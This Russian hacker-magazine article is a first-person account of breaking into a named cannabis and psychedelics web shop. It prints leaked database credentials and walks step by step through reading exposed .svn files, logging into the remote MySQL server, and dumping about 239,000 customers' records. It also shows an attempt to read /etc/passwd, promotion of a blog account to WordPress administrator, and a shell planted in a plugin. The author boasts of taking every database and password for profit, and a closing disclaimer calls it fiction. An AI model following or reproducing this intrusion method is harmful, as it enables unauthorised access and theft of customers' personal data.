"Хочу в Амстердам!" — с этой мыслью я залез в Гугл в поисках очередной
жертвы. Среди первых ссылок по запросу "growshop" оказался магазин azarius.net с
характерными зелеными листиками известного растения на главной странице. Немного
почитав страницу "About Azarius", я узнал, что данный сайт — один из первых
онлайн-магазинов по продаже психоактивных веществ в интернете (работает с 1999
года) с огромной базой покупателей и товаров. Поэтому ты не удивишься тому, что
на одном поверхностном просмотре страниц я не стал останавливаться :).

 

Сажаем семена

Итак, первым делом я начал изучать структуру шопа, что, замечу, было делом не
из приятных, так как использовался апачевский mod_rewrite, и все ссылки имели
вид вроде "http://azarius.net/smartshop/psychedelics/". Поверхностный осмотр мне
ничего не дал, гугл не показал никаких интересных поддоменов и файлов, а из
паблик-движков были обнаружены последний WordPress (http://azarius.net/blog/),
пропатченный phpBB версии 2.0.22 (http://azarius.net/forum/docs/CHANGELOG.html)
и не очень-то уязвимый Piwik версии 0.5.5 (http://piwik.azarius.net).

Единственным доступным вариантом на тот момент оказался Piwik с его XSS в
форме логина. Заморачиваться с XSS мне не очень хотелось, так как это долго и
ненадежно, так что пришлось размышлять дальше над способом проникновения в
растаманский рай.

 

Поливаем и удобряем

Прошло несколько дней. Совершенно случайно мне на глаза попался старый пост с
Хабра об уязвимости множества крупных порталов, связанной с тем, что их .svn-исходники
хранились в открытом доступе прямо на сервере. Вкратце поясню суть бага.

Во-первых, SVN — это система контроля версий, которая является продвинутым
средством для организации совместной работы десятков разработчиков. Во-вторых,
SVN совершенно открыто хранит в каждой директории проекта свои метафайлы,
которые сложены в директорию ".svn". В данной директории в файле "entries"
находится список всех файлов и директорий, которые расположены в той же самой
папке, что и ".svn". Здесь же находится и информация о расположении репозитория,
размере файлов, дате их модификации и именах юзеров, работающих над проектом.
Суммируя вышеназванные факты, можно подвести нехитрый итог: если проект
разрабатывался с помощью SVN, то, зайдя по адресу вроде site.com/.svn/entries,
ты сможешь увидеть файловую структуру корня сайта со всей перечисленной
дополнительной информацией.

В моем случае таким адресом оказался azarius.net/.svn/entries, где
содержалась инфа вида

2008-11-18T10:25:57.000000Z
c581920ba2dad34f3e6841ac061d958c
2007-11-16T11:06:53.860515Z
935
alex
category.php
file

2008-11-18T10:25:57.000000Z
7ce2e23ac9bc560edc2e79073fb630db
2007-01-04T16:03:07.477725Z
138
alex
find.php
file

2009-05-01T12:58:14.000000Z
beea2f728667240c14795d3c508a5144
2009-05-01T09:08:40.782967Z
1307
alex
recent.php
file

 

Собираем урожай

Итак, скачав к себе на винт исходники всех PHP-файлов проекта из категории ".svn/text-base/",
я начал кропотливо парсить их на предмет уязвимостей. После очень долгих и
нудных раскопок я понял, что azarius.net — действительно очень старый и крупный
проек т, так как в исходниках не было даже намека на банальные инклуды,
скуль-инъекции и иже с ними. Искать что-то извращенное и глубоко спрятанное было
лень, поэтому я стал думать, как быть.

Как оказалось, решение было крайне простым и лежало практически на
поверхности :). На этот раз мне удалось продвинуться дальше во взломе с помощью
чтения конфига форума phpBB по адресу azarius.net/forum/.svn/text-base/common.php.svn-base:

<?php
$dbms = 'mysql4';
$dbhost = 'database.azarius.net';
$dbname = 'azaforum';
$dbuser = 'web_azarius';
$dbpasswd = 'azariuskaki734';
$table_prefix = 'phpbb_';
define('PHPBB_INSTALLED', true);
?>

Из конфига видно, что мускул-сервер шопа располагается по адресу
database.azarius.net и вполне может быть виден из веба.

На 80 HTTP-порту сервера висела следующая надпись:

[an error occurred while processing this directive]
You don't have permission to access the requested directory.

There is either no index document or the directory is read-protected.

[an error occurred while processing this directive]

Phpmyadmin’ом здесь даже и не пахло, так что оставалось попробовать удаленно
подконнектиться к 3306 порту мускула на данном сервере.

 

Заряжаем бонг

Залив на свой (почти свой 🙂 хост утилиту MySQL RST/GHC Manager, я попробовал
залогиниться на серваке БД Азариуса с помощью данных из конфига phpBB. Как ни
странно, у меня это получилось (пользуясь случаем, спешу напомнить — разрешай
коннект к своему мускул-серверу только с локалхоста!).

Далее нужно было немного осмотреться в базе, чем я немедленно и занялся.

Итак, под текущим юзером были доступны несколько БД:

information_schema, Affiliate, aff, azabase, azaforum, cms_system,
cmsbase, enquete, payments, syslog, syslogaza, test, wordpress

В базе payments была только одна табличка — "log", где хранились мало чем
полезные логи, так что далее я полез прямиком в главную БД — azabase.

Немного цифр: на шопе зарегистрировано 239545 растаманов и психонавтов,
которые сделали 291187 ордеров. База юзеров имела следующие поля:

UserID, UserStatusID, FirstName, LastName, Email, EmailVerified,
Company, CompanyDescription, KVKNumber, BTWNumber, InvoiceAllowed, Remark,
Password, ForumID, ForumAdmin, LastLogin, LangID, CurrencyID, _Buyer_Address,
_Buyer_Host, _Buyer_Agent, _Klantcode, _Tussenvoegsel, _Korting, _PasswordNew,
_EmailSend, _session_id, _Website, modified, Newsletter, Nickname

Слив данную базу и бережно сохранив ее на винт для дальнейшей работы, я стал
размышлять над тем, как залить шелл в уже полюбившийся мне онлайн-притон
интересных личностей :).

 

Курим

Первым делом я проверил привилегии на работу с файлами у текущего юзера
мускул:

SELECT load_file('/etc/passwd')

Здесь все оказалось не так просто, как с SVN и коннектом к базе — файловых
привилегий не было вовсе. С заливкой шелла могли появиться проблемы, если бы
админы шопа создали разных юзеров для разных БД, но, как ты уже понял, у меня
был доступ ко всем базам сразу, так что я потихоньку стал колдовать над своим
любимым WordPress :).

Итак, зарегавшись по адресу http://www.azarius.net/blog/wp-login.php?action=register
и получив на свое мыло пароль от аккаунта, я полез в БД под названием wordpress.

Наверняка ты знаешь, что привилегии пользователей блога хранятся в табличке
wp_usermeta в ключе под названием wp_capabilities. По дефолту каждый юзер имеет
привилегии подписчика, то есть, фактически, не имеет никаких привилегий:

a:1:{s:10:"subscriber";b:1;}

Недолго думая, я сделал своего тестового юзера администратором, заменив
данное значение на следующее:

a:1:{s:13:"administrator";b:1;}

Став админом, я зашел в админку блога по адресу http://azarius.net/blog/wp-admin
прямиком в раздел редактирования плагинов. И на этот раз мне снова повезло —
плагины были доступны для редактирования, так что мне оставалось только записать
свой шелл в плагин "Hello dolly" и активировать файл. Теперь мой шелл
располагался по адресу http://azarius.net/blog/?azarius и с удовольствием
открывал мне дальнейшие возможности для изучения шопа :).

 

Кушаем

Теперь меня заинтересовало следующее:

  1. Исходники магазина;
  2. Админка магазина;
  3. Сайты-соседи.

С первым пунктом я успешно справился, слив PHP-исходники из директории /var/www/html/azarius/public/,
но, как ни странно, админки там не было. Долго лазая по файлам и директориям
шопа, я так и не нашел админку, так что пришлось довольствоваться полным
доступом к БД и исходниками Азариуса. Далее я выполнил команду "locate
httpd.conf
" и зашел в директорию /etc/apache2/sharedconfig/sites-enabled/,
где хранились конфиги всех сайтов текущего сервера.

Вывести полный список сайтов помогла команда

cat ./*|grep ServerName

affiliate.herbaldistribution.com
blog.azarius.net
conscious.nl
consciousdreams.nl
database.azarius.net
dropshipping.consciouswholesale.com
middleware.entheogenics.com
pimpyourbicycle.com
piwik.azarius.net
redir.vaposhop.com
secure.azarius.net
stats.azarius.net
webman.azarius.net
webman.vaposhop.com
www.azarius.at
www.azarius.be
www.azarius.es
www.azarius.fr
www.azarius.net
www.azarius.nl
redir.azarius.nl
www.azarius.pt
consciouswholesale.com
www.crazy-t-shirts.com
www.cultofarcha.com
www.entheogenics.com
greenlabelseeds.com
www.mushxl.nl
www.shavita.net
www.shroomshaker.net
smartshop.nl
www.travellersgarden.com
vaposhop.com
www.xtenzion.nl

Как видишь, поддоменов у azarius.net оказалось гораздо больше, чем показал
Гугл :). Так что, если захочешь повторить хак, это будет тебе пищей для
размышления.

Все остальные сайты так или иначе все равно были связаны с травой, грибами и
прочими интересными штуками, так что я быстренько забрал все исходники, все
базы, явки и пароли и просто ушел с сервера (ну, не совсем просто, а извлекать
коммерческий успех из этого добра :).

 

Отходняк

Даже если у истоков твоего коммерческого онлайн-проекта стоят грамотные
кодеры и специалисты по безопасности, то все равно советую опасаться банального
человеческого фактора. В данном взломе к заливке шелла и сливу базы
пользователей привели несколько случайностей, которые, словно кусочки паззла,
сложились в адскую мозаику с нарисованным на ней листком марихуаны. Так что,
админ, бди!

 

INFO

Все описанное в статье является плодом больного воображения автора. Любые
совпадения с существующими сайтами случайны. Ни редакция, ни автор не несут
ответственности за любой возможный вред, причиненный материалами этой
статьи.

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…